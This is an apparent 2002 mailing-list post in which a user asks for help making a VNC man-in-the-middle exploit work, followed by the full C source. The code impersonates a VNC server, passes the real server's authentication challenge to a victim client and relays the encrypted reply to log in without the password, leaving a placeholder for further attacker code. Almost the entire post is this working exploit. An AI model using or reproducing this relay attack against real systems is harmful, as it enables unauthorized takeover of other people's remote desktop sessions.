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VNC Man in the Middle Exploit Code
From: "SynRak" <synrak () hotmail com>
Date: Sun, 8 Dec 2002 22:42:26 -0500

This was released a while back, and I have not been able to get it to function or find any additional information 
pertaining to this.  Would anyone here possibly know how to get this to function successfully?  Thanks all

__________________________________________

Summary 
By using the below exploit code it is possible to use a VNC server without knowing its password by causing a client to 
authenticate through the attacking host, while the attacker redirects it to the server.


Details 
Exploit:
#include <netinet/in.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>

#define VNCPORT 5900
#define VNCSERVER "x.x.x.x"
#define QUEUE 8
#define BUFSIZ 512

typedef char rfbProtocolVersionMsg[13];
#define sz_rfbProtocolVersionMsg 12

int main (int argc, char **argv) {

int sockfd, clientfd, vncfd;
int nbytes = 0;
struct sockaddr_in server, client, vnc;
int len = sizeof (client);
char buf [BUFSIZ];

if ( (sockfd = socket (AF_INET, SOCK_STREAM, 0) ) == -1) {
perror ("socket");
exit (-1);
}

bzero (&server, sizeof (server) );
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl (INADDR_ANY);
server.sin_port = htons (VNCPORT);

/* this is the fake VNC server */
if (bind (sockfd, (struct sockaddr *) &server, 
sizeof (server) ) == -1) {
perror ("bind");
exit (-1);
}

listen (sockfd, QUEUE);

if ( (clientfd = accept (sockfd, 
(struct sockaddr *) &client, &len) ) == -1) {
perror ("accept");
exit (-1);
}

strcpy (buf, "RFB 003.003\n");

/* we must send VNC version number (from protocol) */
if (write (clientfd, buf, strlen (buf) ) < strlen (buf) ) {
perror ("write");
exit (-1);
}

/* we also must read VNC version number (from protocol) */
if ( (nbytes = read (clientfd, buf, BUFSIZ) ) <= 0) {
perror ("read");
exit (-1);
}

buf [nbytes] = 0;
printf ("version -> %s\n", buf);

buf [0] = 0x00;
buf [1] = 0x00;
buf [2] = 0x00;
buf [3] = 0x02;

/* we send the authentication method code to the client */
if (write (clientfd, buf, 4) < 4) {
perror ("write");
exit (-1);
}

if ( (vncfd = socket (AF_INET, SOCK_STREAM, 0) ) == -1) {
perror ("socket");
exit (-1);
}

bzero (&vnc, sizeof (vnc) );
vnc.sin_family = AF_INET;
vnc.sin_addr.s_addr = inet_addr (VNCSERVER);
vnc.sin_port = htons (VNCPORT);

/* we connect to the real VNC server */
if (connect (vncfd, (struct sockaddr *) &vnc, 
sizeof (vnc) ) == -1) {
perror ("connect");
exit (-1);
}

/* again, we read version number from the VNC server */
if ( (nbytes = read (vncfd, buf, BUFSIZ) ) <= 0) {
perror ("read");
exit (-1);
}

strcpy (buf, "RFB 003.003\n");

/* and we send ours */
if (write (vncfd, buf, strlen (buf) ) < strlen (buf) ) {
perror ("write");
exit (-1);
}

/* we now read authenticarion method code from VNC server */
if ( (nbytes = read (vncfd, buf, BUFSIZ) ) <= 0) {
perror ("read");
exit (-1);
}

/* here is the challenge from server */
if ( (nbytes = read (vncfd, buf, BUFSIZ) ) <= 0) {
perror ("read");
exit (-1);
}

/* we send the challenge to the victim client */
if (write (clientfd, buf, 16) < 16) {
perror ("write");
exit (-1);
} 

/* we have the encrypted password from the client */
if ( (nbytes = read (clientfd, buf, BUFSIZ) ) <= 0) {
perror ("read");
exit (-1);
}

/* we send the encrypted password to the VNC server */
if (write (vncfd, buf, 16) < 16) {
perror ("write");
exit (-1);
} 

/* we read the result from the authentication process */
if (read (vncfd, buf, BUFSIZ) < 4) {
perror ("read");
exit (-1);
}

/* at this point we should be authenticated */
/* place whatever code you want here */

close (clientfd);
close (sockfd);
close (vncfd);

return 0;
}


Additional information 
The information has been provided by rsmc. 

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